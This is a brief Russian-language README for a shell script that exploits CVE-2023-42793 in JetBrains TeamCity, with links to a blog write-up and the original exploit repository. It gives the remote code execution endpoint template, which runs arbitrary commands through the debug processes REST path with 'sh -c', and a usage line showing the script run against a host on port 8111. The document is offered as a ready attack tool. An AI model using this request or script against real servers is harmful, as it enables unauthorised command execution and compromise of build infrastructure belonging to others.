
teamcity-exploit-cve-2023-42793
Быстрый скрипт для эксплуатации уязвимости cve-2023-42793. Дополнительные материалы по эксплоиту можно найти здесь:
https://www.cnblogs.com/LittleHann/p/17843271.html
Этот скрипт добавляет возможность свободно использовать "params" для выполнения команд после активации RCE-уязвимости:
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh¶ms=-c¶ms=${URLCMD}"
Usage: <base_url> <port> <command>
./TeamCity.sh blah.com 8111 "ls -lah"
Оригинальный скрипт находится здесь, вся заслуга принадлежит им: https://github.com/Zenmovie/CVE-2023-42793